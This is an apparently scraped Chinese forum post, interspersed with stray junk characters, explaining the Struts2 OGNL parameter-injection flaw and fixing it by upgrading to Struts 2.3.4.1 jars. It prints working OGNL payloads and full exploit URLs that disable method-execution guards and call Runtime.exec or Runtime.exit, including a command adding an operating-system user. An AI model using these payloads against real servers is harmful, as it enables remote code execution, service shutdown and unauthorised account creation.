1、struts2漏洞原理
, m* t3 O5 ]0 d _7 TStruts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:
( D0 O7 n9 V2 T?user.address.city=Bishkek&user['favoriteDrink']=kumys
/ ?' }2 w, I4 q: T( ^5 o: f# d' |ONGL将它转换为:
: Q7 Q, J- h+ j: baction.getUser().getAddress().setCity(“Bishkek”)
- o! j/ @6 k! \' e0 [2 eaction.getUser().setFavoriteDrink(“kumys”)- O3 e! }# E! {" h* q/ S: R
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:
( Z9 i( U. M+ a% `5 ]9 Y+ E: ]! O方法调用: foo()
' M+ V. P) y4 a' j% |$ H# s# B8 l静态方法调用: @java.lang.System@exit(1)
}& q# q1 T P- \构造函数调用: new MyClass()
- } [- x1 A5 {向上下文变量赋值: #foo = new MyClass()9 V/ j. [( f _9 z
…! ^+ x) j, p' t9 c u2 p
因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:
# f8 p: A/ Y8 E* L, p3 W* E* zOgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)
$ q2 \/ ^/ w- y3 Y. B, F3 _SecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default)
/ M8 Q- K7 t7 b, T为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:1 M2 e" a1 } G! R) D
#application8 n/ H& s- `" v/ |8 O" T' B
#session
- J8 c6 N* n6 A* e#request, Y+ t. @( Y n5 N- m& r
#parameters
2 i) T, Z9 o" [8 d#attr
; v, |% s* ^4 C8 q& K这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。, `# v$ X) F4 b& `8 b0 o
除了上面的上下文变量以外,还有下面更多的变量:
9 c8 \: t& E3 m# y#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value. t* I1 q9 I$ ~. u! V' \3 ~
#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution." T B" [5 K: p: l# J
#root8 h9 `% b) D( F( P- W* n7 i
#this
. _9 t4 J1 ?! U9 z' ~; D t* v#_typeResolver
2 E ~2 w7 w4 R' r2 t2 Z#_classResolver/ U1 Z/ o P6 z& J
#_traceEvaluations$ @- h: T% T0 Z1 M/ ]5 H7 X
#_lastEvaluation, b3 v9 O0 {: [. {
#_keepLastEvaluation
+ T0 g2 y8 W# ]4 w6 X从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:4 u, [/ Q( s1 x9 a1 w7 C5 M# u5 \: d
#_memberAccess['allowStaticMethodAccess'] = true
1 I# ]; I# R3 `#foo = new java .lang.Boolean(“false”)# ]& p6 `5 |7 w1 h6 t: Z, r5 u
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo" D6 r/ I* Q9 p3 {, U
#rt = @java.lang.Runtime@getRuntime()
2 p+ L* I4 l5 j7 P5 Y#rt.exec(‘mkdir /tmp/PWNED’)" ^# L# W) R8 B: f) I! `- g5 f
另外,你可以使用下面的代码检验一下你的网站是否有漏洞: http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
) @) [1 X" b" O" Z0 ]旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL: http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1. n. j7 I3 j0 W" ^9 z6 U
OGNL处理时最终的结果就是
^, D# n* @6 z1 l( Q/ Ejava.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
/ G' ?; \5 W# i类似的可以执行" y4 w& L# ? y- P: f5 d1 C+ P' \
java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。
+ q( `6 h3 Z3 |0 S/ t+ J. ?% k2、struts2漏洞解决方法# }6 u l1 r6 N8 O
将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:
( L* }5 u* f9 u$ n( K$ ^commons-lang3-3.1.jar (保留commons-lang-2.6.jar)4 t+ {$ j7 q9 o* U' q
javassist-3.11.0.GA.jar (新加包)
. ~* U- Z% \, ?# |( E5 M! aognl-3.0.5.jar (替换旧版本)4 M' g- t2 z) Q/ {6 b3 i8 F8 H7 A7 ^
struts2-core-2.3.4.1.jar (替换旧版本)/ s- s- o3 u4 q" g! t+ l
xwork-core-2.3.4.1.jar (替换旧版本) 5 [* H& D/ Z3 k6 @ l
|